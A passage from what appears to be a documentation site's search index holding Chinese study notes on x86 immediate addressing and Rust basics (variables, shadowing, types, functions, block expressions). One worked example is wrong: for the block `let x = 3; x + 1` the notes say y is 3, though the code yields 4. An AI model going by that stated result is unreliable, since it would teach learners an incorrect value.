array</code>\uff0c\u5219\u662f\u5c06array\u5f53\u4f5c\u53cc\u5b57\u7c7b\u578b\u8bbf\u95ee\uff0c\u4f1a\u628a<code>00020001H</code>\u4f20\u9012\u7ed9eax</p>"},{"location":"NOTE/CS/ASM/wk3/","title":"\u5bfb\u5740\u65b9\u5f0f","text":"<p> \u7ea6 376 \u4e2a\u5b57  10 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 1 \u5206\u949f</p> <p>\u6307\u4ee4\u7531\u64cd\u4f5c\u7801\u548c\u64cd\u4f5c\u6570\u7ec4\u6210\uff0c\u64cd\u4f5c\u7801\u662f\u5904\u7406\u5668\u8981\u6267\u884c\u54ea\u79cd\u64cd\u4f5c\uff0c\u7528\u52a9\u8bb0\u7b26\u8868\u793a\uff1b\u64cd\u4f5c\u6570\u662f\u6307\u4ee4\u6267\u884c\u7684\u53c2\u4e0e\u8005\uff0c\u662f\u5404\u79cd\u64cd\u4f5c\u7684\u5bf9\u8c61\uff0c\u9700\u8981\u901a\u8fc7\u5730\u5740\u6307\u793a</p> <p>\u9700\u8981\u901a\u8fc7\u5730\u5740\u8bbf\u95ee\u6570\u636e\u6216\u8005\u6307\u4ee4</p> <ul> <li> <p>\u6570\u636e\u5bfb\u5740\uff1a\u6307\u4ee4\u6267\u884c\u8fc7\u7a0b\u4e2d\uff0c\u8bbf\u95ee\u6240\u9700\u8981\u64cd\u4f5c\u7684\u6570\u636e\uff08\u64cd\u4f5c\u6570\uff09</p> <ul> <li>\u7acb\u5373\u6570\u5bfb\u5740\uff1a\u6570\u636e\u5728\u6307\u4ee4\u4ee3\u7801\u4e2d\uff0c\u7528\u4e8e\u5e38\u91cf\u8868\u8fbe</li> <li>\u5bc4\u5b58\u5668\u5bfb\u5740\uff1a\u6570\u636e\u5728\u5bc4\u5b58\u5668\u4e2d\uff0c\u7528\u5bc4\u5b58\u5668\u540d\u8868\u793a</li> <li>\u5b58\u50a8\u5668\u5bfb\u5740\uff1a\u6570\u636e\u5728\u4e3b\u5b58\u4e2d\uff0c\u7528\u5b58\u50a8\u5668\u5730\u5740\u4ee3\u8868</li> <li>I/O\u5bfb\u5740\uff1a\u6570\u636e\u5728\u5916\u8bbe\uff08I/O\u8bbe\u5907\uff09\u4e2d\uff0c\u7528I/O\u5730\u5740\u4ee3\u8868</li> </ul> </li> <li> <p>\u6307\u4ee4\u5bfb\u5740\uff1a\u4e00\u6761\u6307\u4ee4\u6267\u884c\u540e\uff0c\u786e\u5b9a\u6267\u884c\u7684\u4e0b\u4e00\u6761\u6307\u4ee4\u7684\u4f4d\u7f6e</p> </li> </ul>"},{"location":"NOTE/CS/ASM/wk3/#_2","title":"\u7acb\u5373\u6570\u5bfb\u5740","text":"<p>\u64cd\u4f5c\u6570\u7d27\u8ddf\u64cd\u4f5c\u7801\uff0c\u662f\u673a\u5668\u7801\u7684\u4e00\u90e8\u5206</p> <p>Note</p> <p>\u64cd\u4f5c\u6570\u4ece\u6307\u4ee4\u4ee3\u7801\u4e2d\u5f97\u5230\uff0c\u5373\u7acb\u5373\u6570\uff08Immediate\uff09</p> \u4f8b <p><pre><code>MOV EAX,33221100H\n;\u673a\u5668\u4ee3\u7801: B8 00 11 22 33\n;\u64cd\u4f5c\u7801: B8\n;\u7acb\u5373\u6570 \uff1a 33221100\n</code></pre> \u673a\u5668\u7801\u7684\u6392\u5217\u65b9\u5f0f\u8bf4\u660e\u662f\u5c0f\u7aef\u5b58\u50a8\uff0c<code>B8</code> \u4ee3\u8868\u5c06\u4e00\u4e2a\u6570\u4f20\u9012\u5230EAX\uff0c<code>33221100H</code> \u5c31\u662f\u90a3\u4e2a\u6570 </p> <p>\u5404\u79cd\u7acb\u5373\u6570\u5f62\u5f0f</p> <ul> <li>\u5341\u516d\u8fdb\u5236\u5e38\u6570</li> <li>\u5b57\u7b26(ASCII \u7801\u503c)</li> <li>\u5341\u8fdb\u5236\u8d1f\u6570(\u8865\u7801)</li> <li>\u7b26\u53f7\u5e38\u91cf</li> <li>\u8868\u8fbe\u5f0f</li> <li>\u53d8\u91cf\u7684\u504f\u79fb\u5730\u5740\uff0c\u6807\u53f7\u7684\u504f\u79fb\u5730\u5740\uff0c\u4f8b\u5982 <pre><code>;\u6570\u636e\u6bb5\nbvar byte 01h\n;\u4ee3\u7801\u6bb5\nlabl: mov bx,-1\nmov edi,labl;labl\u7684\u504f\u79fb\u5730\u5740\nmov ax,offset bvar;\u53d8\u91cf\u7684\u504f\u79fb\u5730\u5740\n</code></pre></li> </ul> <p>Note</p> <p>\u7acb\u5373\u6570\u672c\u8eab\u6ca1\u6709\u7c7b\u578b\uff0c\u5b83\u7684\u7c7b\u578b\u53ef\u4ee5\u6839\u636e\u5bf9\u5e94\u7684\u5bc4\u5b58\u5668\u6216\u8005\u53d8\u91cf\u7c7b\u578b\u51b3\u5b9a</p> \u7b26\u53f7 \u542b\u4e49 i8 8\u4f4d\u7acb\u5373\u6570 i16 16\u4e3a\u7acb\u5373\u6570 i32 32\u4f4d\u7acb\u5373\u6570 imm \u7acb\u5373\u6570"},{"location":"NOTE/CS/RUST/RUST/","title":"RUST\u57fa\u7840\u8bed\u6cd5","text":"<p> \u7ea6 14958 \u4e2a\u5b57  1057 \u884c\u4ee3\u7801  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 65 \u5206\u949f</p> <p>\u636e\u8bf4\u8fd9\u95e8\u8bed\u8a00\u5f88</p>"},{"location":"NOTE/CS/RUST/RUST/#_1","title":"\u524d\u7f6e","text":"<p>Rust\u8bed\u8a00\u7684\u7279\u70b9</p> <ul> <li> <p>\u9ad8\u6027\u80fd: Rust \u901f\u5ea6\u60ca\u4eba\u4e14\u5185\u5b58\u5229\u7528\u7387\u6781\u9ad8\u3002\u7531\u4e8e\u6ca1\u6709\u8fd0\u884c\u65f6\u548c\u5783\u573e\u56de\u6536\uff0c\u5b83\u80fd\u591f\u80dc\u4efb\u5bf9\u6027\u80fd\u8981\u6c42\u7279\u522b\u9ad8\u7684\u670d\u52a1\uff0c\u53ef\u4ee5\u5728\u5d4c\u5165\u5f0f\u8bbe\u5907\u4e0a\u8fd0\u884c\uff0c\u8fd8\u80fd\u8f7b\u677e\u548c\u5176\u4ed6\u8bed\u8a00\u96c6\u6210\u3002</p> </li> <li> <p>\u53ef\u9760\u6027: Rust \u4e30\u5bcc\u7684\u7c7b\u578b\u7cfb\u7edf\u548c\u6240\u6709\u6743\u6a21\u578b\u4fdd\u8bc1\u4e86\u5185\u5b58\u5b89\u5168\u548c\u7ebf\u7a0b\u5b89\u5168\uff0c\u8ba9\u60a8\u5728\u7f16\u8bd1\u671f\u5c31\u80fd\u591f\u6d88\u9664\u5404\u79cd\u5404\u6837\u7684\u9519\u8bef\u3002</p> </li> <li> <p>\u751f\u4ea7\u529b Rust \u62e5\u6709\u51fa\u8272\u7684\u6587\u6863\u3001\u53cb\u597d\u7684\u7f16\u8bd1\u5668\u548c\u6e05\u6670\u7684\u9519\u8bef\u63d0\u793a\u4fe1\u606f\uff0c \u8fd8\u96c6\u6210\u4e86\u4e00\u6d41\u7684\u5de5\u5177 \u2014\u2014 \u5305\u7ba1\u7406\u5668\u548c\u6784\u5efa\u5de5\u5177\uff0c \u667a\u80fd\u5730\u81ea\u52a8\u8865\u5168\u548c\u7c7b\u578b\u68c0\u9a8c\u7684\u591a\u7f16\u8f91\u5668\u652f\u6301\uff0c \u4ee5\u53ca\u81ea\u52a8\u683c\u5f0f\u5316\u4ee3\u7801\u7b49\u7b49\u3002</p> </li> </ul> <p>Rust\u7684\u5e94\u7528</p> <p>Rust \u8bed\u8a00\u53ef\u4ee5\u7528\u4e8e\u5f00\u53d1\uff1a</p> <ul> <li>\u4f20\u7edf\u547d\u4ee4\u884c\u7a0b\u5e8f  Rust \u7f16\u8bd1\u5668\u53ef\u4ee5\u76f4\u63a5\u751f\u6210\u76ee\u6807\u53ef\u6267\u884c\u7a0b\u5e8f\uff0c\u4e0d\u9700\u8981\u4efb\u4f55\u89e3\u91ca\u7a0b\u5e8f\u3002</li> <li>Web \u5e94\u7528  Rust \u53ef\u4ee5\u88ab\u7f16\u8bd1\u6210 WebAssembly\uff0cWebAssembly \u662f\u4e00\u79cd JavaScript \u7684\u9ad8\u6548\u66ff\u4ee3\u54c1\u3002</li> <li> <p>\u7f51\u7edc\u670d\u52a1\u5668  Rust \u7528\u6781\u4f4e\u7684\u8d44\u6e90\u6d88\u8017\u505a\u5230\u5b89\u5168\u9ad8\u6548\uff0c\u4e14\u5177\u5907\u5f88\u5f3a\u7684\u5927\u89c4\u6a21\u5e76\u53d1\u5904\u7406\u80fd\u529b\uff0c\u5341\u5206\u9002\u5408\u5f00\u53d1\u666e\u901a\u6216\u6781\u7aef\u7684\u670d\u52a1\u5668\u7a0b\u5e8f\u3002</p> </li> <li> <p>\u5d4c\u5165\u5f0f\u8bbe\u5907  Rust \u540c\u65f6\u5177\u6709JavaScript \u4e00\u822c\u7684\u9ad8\u6548\u5f00\u53d1\u8bed\u6cd5\u548c C \u8bed\u8a00\u7684\u6267\u884c\u6548\u7387\uff0c\u652f\u6301\u5e95\u5c42\u5e73\u53f0\u7684\u5f00\u53d1\u3002</p> </li> </ul> <p>RUST\u6587\u4ef6\u7684\u540e\u7f00\u540d\u4e3a<code>.rs</code>,\u901a\u8fc7\u8fd0\u884c<code>rustc  xxx.rs</code>\u53ef\u4ee5\u76f4\u63a5\u751f\u6210\u53ef\u6267\u884c\u6587\u4ef6</p> <p>rust\u8bed\u8a00\u7684\u6ce8\u91ca\u65b9\u5f0f\u8ddfC\u8bed\u8a00\u4e00\u6837\uff0c\u652f\u6301\u4e24\u79cd\u6ce8\u91ca\u65b9\u6cd5\uff0c<code>//\u5355\u884c\u6ce8\u91ca\u548c/**/\u591a\u884c\u6ce8\u91ca</code></p> <p>\u4f46\u662f\u9700\u8981\u6ce8\u610f\u7684\u662f\uff0c\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b<code>///</code> \u4ecd\u7136\u662f\u4e00\u79cd\u5408\u6cd5\u7684\u6ce8\u91ca\u65b9\u5f0f\uff0c\u6240\u4ee5\u53ef\u4ee5\u7528\u8fd9\u79cd\u7279\u6b8a\u7684\u65b9\u5f0f\u6765\u5f53\u4f5c\u6587\u6863\u7684\u8bf4\u660e</p>"},{"location":"NOTE/CS/RUST/RUST/#_2","title":"\u53d8\u91cf","text":""},{"location":"NOTE/CS/RUST/RUST/#_3","title":"\u58f0\u660e\u53d8\u91cf","text":"<p>Rust\u662f\u5f3a\u7c7b\u578b\u8bed\u8a00\uff0c\u5177\u6709\u81ea\u52a8\u5224\u65ad\u53d8\u91cf\u7c7b\u578b\u7684\u80fd\u529b\u3002</p> <p>\u5982\u679c\u8981\u58f0\u660e\u53d8\u91cf\u9700\u8981\u4f7f\u7528<code>let</code>\u5173\u952e\u5b57</p> <p>\u4f8b\u5982\uff1a <pre><code>   let a = 1\n</code></pre> \u5728\u53d8\u91cf<code>a</code>\u88ab\u58f0\u660e\u4e4b\u540e,<code>a</code>\u5c31\u88ab\u786e\u5b9a\u4e3a\u6574\u5f62 \u4e0d\u53ef\u53d8\u53d8\u91cf  \u4e5f\u5c31\u662f\u8bf4:</p> <ul> <li>\u4e0d\u53ef\u4ee5\u5c06\u5176\u5b83\u7c7b\u578b\u7684\u53d8\u91cf\u8d4b\u7ed9\u5b83</li> <li>\u4e0d\u5141\u8bb8\u5c06\u5c0f\u6570\u8d4b\u7ed9\u5b83\uff0c\u56e0\u4e3a\u81ea\u52a8\u8f6c\u6362\u6570\u5b57\u7cbe\u5ea6\u6709\u635f\u5931\uff0cRust \u8bed\u8a00\u4e0d\u5141\u8bb8\u7cbe\u5ea6\u6709\u635f\u5931\u7684\u81ea\u52a8\u6570\u636e\u7c7b\u578b\u8f6c\u6362\u3002</li> <li>\u4e0d\u5141\u8bb8\u5bf9\u5b83\u91cd\u65b0\u8d4b\u5176\u4ed6\u503c</li> </ul> <p>\u5982\u679c\u60f3\u8981<code>a</code>\u53ef\u4ee5\u88ab\u91cd\u65b0\u8d4b\u503c\uff0c\u53ea\u9700\u8981\u5728<code>a</code>\u524d\u9762\u52a0\u4e00\u4e2a<code>mut</code>\uff08mutable\uff09\uff0c\u8fd9\u6837<code>a</code>\u5c31\u53d8\u6210\u4e86\u53ef\u53d8\u7684\u53d8\u91cf</p> <p>\u4f8b\u5982\uff1a <pre><code>   let mut a = 1\n   a = 2\n</code></pre></p> <p>\u5e38\u91cf\u4e0e\u4e0d\u53ef\u53d8\u53d8\u91cf\u7684\u533a\u522b</p> <p>\u4e0d\u53ef\u53d8\u53d8\u91cf\u4ecd\u7136\u662f\u53d8\u91cf\uff0c\u4e5f\u5c31\u662f\u8bf4\u53ef\u4ee5\u5bf9\u5b83**\u91cd\u65b0\u5b9a\u4e49**\uff0c\u4f8b\u5982\uff1a <pre><code>let a = 123;   // \u53ef\u4ee5\u7f16\u8bd1\uff0c\u4f46\u53ef\u80fd\u6709\u8b66\u544a\uff0c\u56e0\u4e3a\u8be5\u53d8\u91cf\u6ca1\u6709\u88ab\u4f7f\u7528\nlet a = 456;   //\u8fd9\u91cc\u7528\u4e86let\u91cd\u65b0\u7ed1\u5b9a\u53d8\u91cf\u5bf9\u5e94\u7684\u503c\uff0c\u6ca1\u6709\u76f4\u63a5\u5bf9\u5b83\u8d4b\u503c\n</code></pre> \u4f46\u662f\u5982\u679c\u662f\u5e38\u91cf\uff0c\u5c31\u4e0d\u5141\u8bb8\u5bf9\u5b83\u8fdb\u884c\u4efb\u4f55\u6539\u53d8\u7684\u64cd\u4f5c <pre><code>const a: i32 = 123;\nlet a = 456;\n</code></pre> \u8fd9\u79cd\u4e0d\u53ef\u53d8\u53d8\u91cf\u7684\u540d\u79f0\u53ef\u4ee5\u88ab\u91cd\u65b0\u7ed1\u5b9a\u7684\u673a\u5236\u53eb\u505a**\u91cd\u5f71(shadowing)**</p> <p><pre><code>fn main() {\nlet x = 5;\nlet x = x + 1;\nlet x = x * 2;\nprintln!(\"The value of x is: {}\", x);\n}\n</code></pre> \u7a0b\u5e8f\u8fd0\u884c\u7ed3\u679c</p> <pre><code>The value of x is: 12\n</code></pre>"},{"location":"NOTE/CS/RUST/RUST/#_4","title":"\u6570\u636e\u7c7b\u578b","text":"<p>\u6574\u6570\u7c7b\u578b</p> <p>\u6574\u6570\u578b\u7b80\u79f0\u6574\u578b\uff0c\u6309\u7167\u6bd4\u7279\u4f4d\u957f\u5ea6\u548c\u6709\u65e0\u7b26\u53f7\u5206\u4e3a\u4ee5\u4e0b\u79cd\u7c7b\uff1a</p> \u4f4d\u957f\u5ea6 \u6709\u7b26\u53f7 \u65e0\u7b26\u53f7 8-bit i8 u8 16-bit i16 u16 32-bit i32 u32 64-bit i64 u64 128-bit i128 u128 arch isize usize <p>isize \u548c usize \u4e24\u79cd\u6574\u6570\u7c7b\u578b\u662f\u7528\u6765\u8861\u91cf\u6570\u636e\u5927\u5c0f\u7684\uff0c\u5b83\u4eec\u7684\u4f4d\u957f\u5ea6\u53d6\u51b3\u4e8e\u6240\u8fd0\u884c\u7684\u76ee\u6807\u5e73\u53f0\uff0c\u5982\u679c\u662f 32 \u4f4d\u67b6\u6784\u7684\u5904\u7406\u5668\u5c06\u4f7f\u7528 32 \u4f4d\u4f4d\u957f\u5ea6\u6574\u578b</p> <p>rust\u4e2d\u53ef\u4ee5\u7528\u4e0d\u540c\u7684\u65b9\u5f0f\u8868\u793a\u6574\u6570</p> \u8fdb\u5236 \u4f8b \u5341\u8fdb\u5236 98_222 \u5341\u516d\u8fdb\u5236 0xff \u516b\u8fdb\u5236 0o77 \u4e8c\u8fdb\u5236 0b1111_0000 \u5b57\u8282(\u53ea\u80fd\u8868\u793a u8 \u578b) b'A' <p>Example</p> <p>\u867d\u7136 Rust \u6709\u81ea\u52a8\u5224\u65ad\u7c7b\u578b\u7684\u529f\u80fd\uff0c\u4f46\u6709\u4e9b\u60c5\u51b5\u4e0b\u58f0\u660e\u7c7b\u578b\u66f4\u52a0\u65b9\u4fbf\uff1a <pre><code>let a: u64 = 1;\n</code></pre> \u8fd9\u91cc\u58f0\u660e\u4e86 <code>a</code> \u4e3a\u65e0\u7b26\u53f7 64 \u4f4d\u6574\u578b\u53d8\u91cf\uff0c\u5982\u679c\u6ca1\u6709\u58f0\u660e\u7c7b\u578b\uff0c<code>a</code> \u5c06\u81ea\u52a8\u88ab\u5224\u65ad\u4e3a\u6709\u7b26\u53f7 32 \u4f4d\u6574\u578b\u53d8\u91cf\uff0c\u8fd9\u5bf9\u4e8e <code>a</code> \u7684\u53d6\u503c\u8303\u56f4\u6709\u5f88\u5927\u7684\u5f71\u54cd\u3002</p> <p>\u6d6e\u70b9\u6570\u578b(Floating-Point)</p> <p>Rust \u4e0e\u5176\u5b83\u8bed\u8a00\u4e00\u6837\u652f\u6301 32 \u4f4d\u6d6e\u70b9\u6570\uff08f32\uff09\u548c 64 \u4f4d\u6d6e\u70b9\u6570\uff08f64\uff09\u3002\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c64.0 \u5c06\u8868\u793a 64 \u4f4d\u6d6e\u70b9\u6570\uff0c\u56e0\u4e3a\u73b0\u4ee3\u8ba1\u7b97\u673a\u5904\u7406\u5668\u5bf9\u4e24\u79cd\u6d6e\u70b9\u6570\u8ba1\u7b97\u7684\u901f\u5ea6\u51e0\u4e4e\u76f8\u540c\uff0c\u4f46 64 \u4f4d\u6d6e\u70b9\u6570\u7cbe\u5ea6\u66f4\u9ad8\u3002</p> <p>\u5b9e\u4f8b</p> <pre><code>fn main() {\n    let x = 2.0; // f64\n    let y: f32 = 3.0; // f32\n}\n</code></pre> <p>rust \u540c\u65f6\u4e5f\u652f\u6301\u57fa\u672c\u7684\u6570\u5b66\u8fd0\u7b97\uff0c\u4f46\u662f\u4e0d\u652f\u6301C\u8bed\u8a00\u91cc\u9762\u6709\u7684<code>++</code>\u548c<code>--</code>,\u56e0\u4e3a\u8fd9\u4e24\u4e2a\u8fd0\u7b97\u7b26\u51fa\u73b0\u5728\u53d8\u91cf\u7684\u524d\u540e\u4f1a\u5f71\u54cd\u4ee3\u7801\u53ef\u8bfb\u6027\uff0c\u51cf\u5f31\u4e86\u5f00\u53d1\u8005\u5bf9\u53d8\u91cf\u6539\u53d8\u7684\u610f\u8bc6\u80fd\u529b\u3002</p> <p>\u57fa\u672c\u7684\u56db\u5219\u8fd0\u7b97\u6709<code>+(\u52a0)</code>,<code>-(\u51cf)</code>,<code>*(\u4e58)</code>,<code>/(\u9664)</code>,<code>%(mod)</code></p> <p>bool\u7c7b\u578b</p> <p>bool\u503c\u53ea\u80fd\u4e3atrue\u6216\u8005false</p> <p>\u5b57\u7b26\u578b</p> <p>\u5b57\u7b26\u578b\u7528 char \u8868\u793a\u3002 Rust\u7684 char \u7c7b\u578b\u5927\u5c0f\u4e3a 4 \u4e2a\u5b57\u8282\uff0c\u4ee3\u8868 Unicode\u6807\u91cf\u503c\uff0c\u8fd9\u610f\u5473\u7740\u5b83\u53ef\u4ee5\u652f\u6301\u4e2d\u6587\uff0c\u65e5\u6587\u548c\u97e9\u6587\u5b57\u7b26\u7b49\u975e\u82f1\u6587\u5b57\u7b26\u751a\u81f3\u8868\u60c5\u7b26\u53f7\u548c\u96f6\u5bbd\u5ea6\u7a7a\u683c\u5728 Rust \u4e2d\u90fd\u662f\u6709\u6548\u7684 char \u503c\u3002 Unicode \u503c\u7684\u8303\u56f4\u4ece U+0000 \u5230 U+D7FF \u548c U+E000 \u5230 U+10FFFF \uff08\u5305\u62ec\u4e24\u7aef\uff09\u3002 \u4f46\u662f\uff0c\"\u5b57\u7b26\"\u8fd9\u4e2a\u6982\u5ff5\u5e76\u4e0d\u5b58\u5728\u4e8e Unicode \u4e2d\uff0c\u56e0\u6b64\u60a8\u5bf9\"\u5b57\u7b26\"\u662f\u4ec0\u4e48\u7684\u76f4\u89c9\u53ef\u80fd\u4e0eRust\u4e2d\u7684\u5b57\u7b26\u6982\u5ff5\u4e0d\u5339\u914d\u3002\u6240\u4ee5\u4e00\u822c\u63a8\u8350\u4f7f\u7528\u5b57\u7b26\u4e32\u50a8\u5b58 UTF-8 \u6587\u5b57\uff08\u975e\u82f1\u6587\u5b57\u7b26\u5c3d\u53ef\u80fd\u5730\u51fa\u73b0\u5728\u5b57\u7b26\u4e32\u4e2d\uff09\u3002</p> <p>\u6ce8\u610f\uff1a\u7531\u4e8e\u4e2d\u6587\u6587\u5b57\u7f16\u7801\u6709\u4e24\u79cd\uff08GBK \u548c UTF-8\uff09\uff0c\u6240\u4ee5\u7f16\u7a0b\u4e2d\u4f7f\u7528\u4e2d\u6587\u5b57\u7b26\u4e32\u6709\u53ef\u80fd\u5bfc\u81f4\u4e71\u7801\u7684\u51fa\u73b0\uff0c\u8fd9\u662f\u56e0\u4e3a\u6e90\u7a0b\u5e8f\u4e0e\u547d\u4ee4\u884c\u7684\u6587\u5b57\u7f16\u7801\u4e0d\u4e00\u81f4\uff0c\u6240\u4ee5\u5728 Rust \u4e2d\u5b57\u7b26\u4e32\u548c\u5b57\u7b26\u90fd\u5fc5\u987b\u4f7f\u7528 UTF-8 \u7f16\u7801\uff0c\u5426\u5219\u7f16\u8bd1\u5668\u4f1a\u62a5\u9519\u3002</p> <p>\u590d\u5408\u7c7b\u578b</p> <p>\u8ddfpython\u7c7b\u4f3c,rust\u4e2d\u6709</p> <ul> <li> <p>\u5143\u7ec4<code>()</code>,\u53ef\u4ee5\u5305\u542b\u4e0d\u540c\u7684\u6570\u636e\u7c7b\u578b <pre><code>let tup: (i32, f64, u8) = (500, 6.4, 1);\n// tup.0 \u7b49\u4e8e 500\n// tup.1 \u7b49\u4e8e 6.4\n// tup.2 \u7b49\u4e8e 1\nlet (x, y, z) = tup;\n// y \u7b49\u4e8e 6.4\n</code></pre></p> </li> <li> <p>\u6570\u7ec4<code>[]</code>,\u540c\u7c7b\u578b\u6570\u636e <pre><code>let a = [1, 2, 3, 4, 5];\n// a \u662f\u4e00\u4e2a\u957f\u5ea6\u4e3a 5 \u7684\u6574\u578b\u6570\u7ec4\n\nlet b = [\"January\", \"February\", \"March\"];\n// b \u662f\u4e00\u4e2a\u957f\u5ea6\u4e3a 3 \u7684\u5b57\u7b26\u4e32\u6570\u7ec4\n\nlet c: [i32; 5] = [1, 2, 3, 4, 5];\n// c \u662f\u4e00\u4e2a\u957f\u5ea6\u4e3a 5 \u7684 i32 \u6570\u7ec4\n\nlet d = [3; 5];\n// \u7b49\u540c\u4e8e let d = [3, 3, 3, 3, 3];\n\nlet first = a[0];\nlet second = a[1];\n// \u6570\u7ec4\u8bbf\u95ee\n\na[0] = 123; // \u9519\u8bef\uff1a\u6570\u7ec4 a \u4e0d\u53ef\u53d8\nlet mut a = [1, 2, 3];\na[0] = 4; // \u6b63\u786e\n</code></pre></p> </li> </ul>"},{"location":"NOTE/CS/RUST/RUST/#_5","title":"\u51fd\u6570","text":""},{"location":"NOTE/CS/RUST/RUST/#_6","title":"\u57fa\u672c\u7ed3\u6784","text":"<p>rust\u51fd\u6570\u7684\u7ed3\u6784\u548cC\u8bed\u8a00\u7c7b\u4f3c,\u5176\u57fa\u672c\u7ed3\u6784\u4e3a</p> <pre><code>fn &lt;\u51fd\u6570\u540d&gt;(&lt;\u53c2\u6570&gt;)&lt;\u51fd\u6570\u4f53&gt;\n</code></pre> <p>\u7528\u5230\u7684\u51fd\u6570\u9700\u8981\u5728main\u51fd\u6570\u91cc\u9762\u8c03\u7528\uff0c\u4f46\u662f\u5e76\u4e0d\u9700\u8981\u5728\u8c03\u7528\u4e4b\u524d\u51fa\u73b0</p> <p>Example</p> <pre><code>fn main() {\n    println!(\"Hello, world!\");\n    another_function();\n}\nfn another_function() {\n    println!(\"Hello, runoob!\");\n}\n</code></pre>"},{"location":"NOTE/CS/RUST/RUST/#_7","title":"\u51fd\u6570\u53c2\u6570","text":"<p>Rust \u4e2d\u5b9a\u4e49\u51fd\u6570\u5982\u679c\u9700\u8981\u5177\u5907\u53c2\u6570\u5fc5\u987b\u58f0\u660e\u53c2\u6570\u540d\u79f0\u548c\u7c7b\u578b\uff1a</p> <p>Example</p> <p><pre><code>fn main() {\n    another_function(5, 6);\n}\n\nfn another_function(x: i32, y: i32) {\n    println!(\"x \u7684\u503c\u4e3a : {}\", x);\n    println!(\"y \u7684\u503c\u4e3a : {}\", y);\n}\n</code></pre> \u8fd0\u884c\u7ed3\u679c <pre><code>x \u7684\u503c\u4e3a : 5\ny \u7684\u503c\u4e3a : 6\n</code></pre></p>"},{"location":"NOTE/CS/RUST/RUST/#_8","title":"\u51fd\u6570\u4f53\u7684\u8bed\u53e5\u548c\u8868\u8fbe\u5f0f","text":"<p>Rust \u51fd\u6570\u4f53\u7531\u4e00\u7cfb\u5217\u53ef\u4ee5  \u4ee5\u8868\u8fbe\u5f0f\uff08Expression\uff09\u7ed3\u5c3e \uff08\u5728\u8fd9\u91cc\u65ad\u53e5\uff09 \u7684\u8bed\u53e5\uff08Statement\uff09\u7ec4\u6210\u3002</p> <p>\u8bed\u53e5\u662f\u6267\u884c\u67d0\u4e9b\u64cd\u4f5c\u4e14\u6ca1\u6709\u8fd4\u56de\u503c\u7684\u6b65\u9aa4\u3002\u4f8b\u5982\uff1a <pre><code>let a = 6;//\u6ca1\u6709\u8fd4\u56de\u503c\nlet b=(let a = 6;)//\u8bed\u53e5\u4e0d\u6b63\u786e\n</code></pre> \u8868\u8fbe\u5f0f\u6709\u8ba1\u7b97\u6b65\u9aa4\u4e14\u6709\u8fd4\u56de\u503c</p> <p>\u5728Rust \u4e2d\u53ef\u4ee5\u5728\u4e00\u4e2a\u7528 <code>{}</code>\u5305\u62ec\u7684\u5757\u91cc\u7f16\u5199\u4e00\u4e2a\u8f83\u4e3a\u590d\u6742\u7684\u8868\u8fbe\u5f0f\uff1a</p> <p><pre><code>fn main() {\n    let x = 5;\n\n    let y = {\n        let x = 3;\n        x + 1//\u53ef\u4ee5\u7406\u89e3\u4e3a\u5c40\u90e8\u53d8\u91cf\n    };//\u548cy=\u8fde\u5728\u4e00\u8d77\u662f\u4e00\u6761\u8bed\u53e5\n\n    println!(\"x \u7684\u503c\u4e3a : {}\", x);\n    println!(\"y \u7684\u503c\u4e3a : {}\", y);\n}\n</code></pre> \u6700\u540ex\u7684\u503c\u4e3a5\uff0cy\u7684\u503c\u4e3a3</p> <p>\u8fd9\u6bb5\u7a0b\u5e8f\u4e2d\u5305\u62ec\u4e86\u4e00\u4e2a\u8868\u8fbe\u5f0f\u5757\uff0c\u5728\u5757\u4e2d\u53ef\u4ee5\u4f7f\u7528\u51fd\u6570\u8bed\u53e5\uff0c\u6700\u540e\u4e00\u4e2a\u6b65\u9aa4\u662f\u8868\u8fbe\u5f0f\uff0c\u6b64\u8868\u8fbe\u5f0f\u7684\u7ed3\u679c\u503c\u662f\u6574\u4e2a\u8868\u8fbe\u5f0f\u5757\u6240\u4ee3\u8868\u7684\u503c\u3002\u8fd9\u79cd\u8868\u8fbe\u5f0f\u5757\u53eb\u505a\u51fd\u6570\u4f53\u8868\u8fbe\u5f0f\u3002</p> <p>Danger</p> <p><code>x + 1</code> \u4e4b\u540e\u6ca1\u6709\u5206\u53f7\uff0c\u5426\u5219\u5b83\u5c06\u53d8\u6210\u4e00\u6761\u8bed\u53e5\uff01</p>"},{"location":"NOTE/CS/RUST/RUST/#_9","title":"\u8fd4\u56de\u503c","text":"<p>\u4e0d\u540c\u4e8eC\u8bed\u8a00\uff0cRUST\u51fd\u6570\u65e2\u53ef\u4ee5\u5d4c\u5957\u4f7f\u7528\u4e5f\u53ef\u4ee5\u5d4c\u5957\u5b9a\u4e49</p> <pre><code>   fn main() {\n    fn five() -&gt; i32 {\n        5//\u8868\u8fbe\u5f0f\uff0c\u4e0d\u80fd\u52a0\u5206\u53f7\n    }//\u7528{}\u6765\u521b\u5efa\u4e00\u4e2a\u4f5c\u7528\u57df,\u4e0d\u7528\u5206\u53f7\n    println!(\"five() \u7684\u503c\u4e3a: {}\", five());\n   }\n</code></pre> <p>\u4e0a\u9762\u7684\u4f8b\u5b50\u4e2d\uff0c\u5728main\u51fd\u6570\u91cc\u9762\u5b9a\u4e49\u4e86\u4e00\u4e2a<code>five()</code>\uff0c\u8fd4\u56de\u7c7b\u578b\u4f7f\u7528<code>-&gt;</code>\u5728\u53c2\u6570\u58f0\u660e\u4e4b\u540e\u6307\u660e\uff0c\u4e0d\u662f<code>:</code>,\u5728\u51fd\u6570\u4f53\u4e2d\uff0c\u968f\u65f6\u90fd\u53ef\u4ee5\u4ee5 return \u5173\u952e\u5b57\u7ed3\u675f\u51fd\u6570\u8fd0\u884c\u5e76\u8fd4\u56de\u4e00\u4e2a\u7c7b\u578b\u5408\u9002\u7684\u503c\u3002\u8fd9\u4e5f\u662f\u6700\u63a5\u8fd1\u5927\u591a\u6570\u5f00\u53d1\u8005\u7ecf\u9a8c\u7684\u505a\u6cd5\uff1a</p> <p>Example</p> <pre><code>fn add(a: i32, b: i32) -&gt; i32 {\nreturn a + b;\n}\n</code></pre> <p>Danger</p> <p>\u6ce8\u610f\uff1a\u51fd\u6570\u4f53\u8868\u8fbe\u5f0f\u5e76\u4e0d\u80fd\u7b49\u540c\u4e8e\u51fd\u6570\u4f53\uff0c\u5b83\u4e0d\u80fd\u4f7f\u7528 return 